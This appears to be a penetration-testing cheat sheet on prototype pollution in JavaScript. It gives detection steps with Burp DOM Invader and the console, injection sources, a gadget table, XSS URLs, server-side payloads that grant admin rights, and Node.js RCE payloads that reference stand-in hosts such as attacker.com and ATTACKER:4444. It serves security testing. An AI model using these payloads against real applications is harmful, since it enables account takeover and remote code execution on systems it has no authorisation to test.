Prototype Pollution
Prototype pollution detection and exploitation: client-side DOM gadgets via browser DevTools and DOM Invader, server-side Node.js __proto__ injection for RCE and privilege escalation, bypassing sanitisers, and Burp DOM Invader workflow.
What is Prototype Pollution
Every JavaScript object inherits from a prototype. Setting properties on Object.prototype via __proto__ poisons every object in the runtime. Code that later reads those properties and uses them unsafely (sinks) executes the attacker’s payload.
Two variants:
- Client-side — pollutes the browser’s JS environment via URL parameters, JSON input, or
location.hash. Exploited through DOM gadgets. - Server-side — pollutes the Node.js runtime via JSON body parsing or property merging. Can achieve privilege escalation or RCE.
Client-Side Detection
DOM Invader (Burp’s built-in browser)
- Open the target in Burp’s browser (Proxy → Open Browser).
- Enable DOM Invader in the browser extension panel.
- Enable Prototype Pollution mode.
- DOM Invader automatically injects
__proto__payloads via URL params, JSON, hash, and reports vulnerable sinks.
Manual detection via browser console
Open DevTools console on the target page and run:
// Test if __proto__ is injectable via URL parameter
// Visit: https://TARGET/?__proto__[testproperty]=canary
Object.prototype.testproperty // Should be undefined — if it's "canary", polluted
Or via hash:
https://TARGET/#__proto__[testproperty]=canary
Or via URL-encoded JSON in a parameter:
?search=test&__proto__[testproperty]=canary
Client-Side Sources
Common injection points:
URL query parameters: ?__proto__[x]=y
URL fragment (hash): #__proto__[x]=y
JSON body: {"__proto__":{"x":"y"}}
Deep merge functions: merge({}, userInput) — vulnerable if recursive, no check
Also test:
?constructor[prototype][x]=y
?constructor.prototype.x=y
Client-Side DOM Gadgets
A gadget is existing app code that reads from Object.prototype and passes the value to a sink. DOM Invader finds these automatically. Common gadgets:
| Gadget | Sink | Payload property |
|---|---|---|
jQuery $(html) | innerHTML | __proto__[innerHTML] |
location.assign() | Open redirect | __proto__[transport_url]=//attacker.com |
eval(config.something) | Code execution | __proto__[something]=alert(1) |
document.createElement(tag) | DOM XSS | __proto__[tag]=img onerror=alert(1) |
| Script src from config | Script injection | __proto__[scriptURL]=https://attacker.com/xss.js |
XSS via prototype pollution + gadget
https://TARGET/?__proto__[transport_url]=data:text/javascript,alert(1)//
https://TARGET/?__proto__[innerHTML]=<img/src/onerror=alert(1)>
Server-Side Detection (Node.js)
Pollute via JSON body
When the app uses a recursive merge, deep clone, or JSON.parse result fed into an object assignment:
{
"__proto__": {
"testproperty": "canary"
}
}
Or:
{
"constructor": {
"prototype": {
"testproperty": "canary"
}
}
}
Confirm: if the app returns a different response (error, changed behaviour, reflects the property) → polluted.
Burp detection
In Repeater, send a JSON body with __proto__ and an unusual property. Then send a normal request. If the normal request now behaves differently → confirmed pollution.
Server-Side Exploitation: Privilege Escalation
If the app reads req.user.isAdmin and the isAdmin property comes from the object prototype:
{"__proto__": {"isAdmin": true}}
Any object that doesn’t explicitly set isAdmin now inherits true from the polluted prototype.
More targeted — if a middleware checks:
if (user.role === 'admin') { ... }
{"__proto__": {"role": "admin"}}
Server-Side Exploitation: RCE via Polluted Options
Many Node.js functions accept an options object. If that object is merged with polluted prototype properties, you can inject shell commands.
child_process.spawn via shell option
{"__proto__": {"shell": "node", "NODE_OPTIONS": "--inspect=ATTACKER:4444"}}
Snyk example — overriding execArgv
{"__proto__": {"argv0": "node", "execArgv": ["--require", "/proc/self/fd/0"]}}
Via env in spawn options
{"__proto__": {"env": {"EVIL": "1"}, "NODE_OPTIONS": "--env-file=/proc/self/fd/0"}}
Bypassing Sanitisers
Some apps strip __proto__ but forget constructor.prototype:
{"constructor": {"prototype": {"isAdmin": true}}}
Some apps check for __proto__ as a key but allow ["__proto__"] in bracket notation parsing.
URL encode the key:
%5F%5Fproto%5F%5F[isAdmin]=true
Burp Suite workflow
- DOM Invader (Burp browser) — enable prototype pollution mode; auto-detects client-side injection points and gadgets.
- Repeater — manually inject
__proto__in JSON bodies, query strings, and hash fragments. - Intruder — fuzz parameter names with a list of prototype pollution keys (
__proto__,constructor,prototype). - Scanner — active scan detects client-side prototype pollution sources automatically.
- Extensions: Hackvertor — encode
__proto__key variations to bypass sanitisers.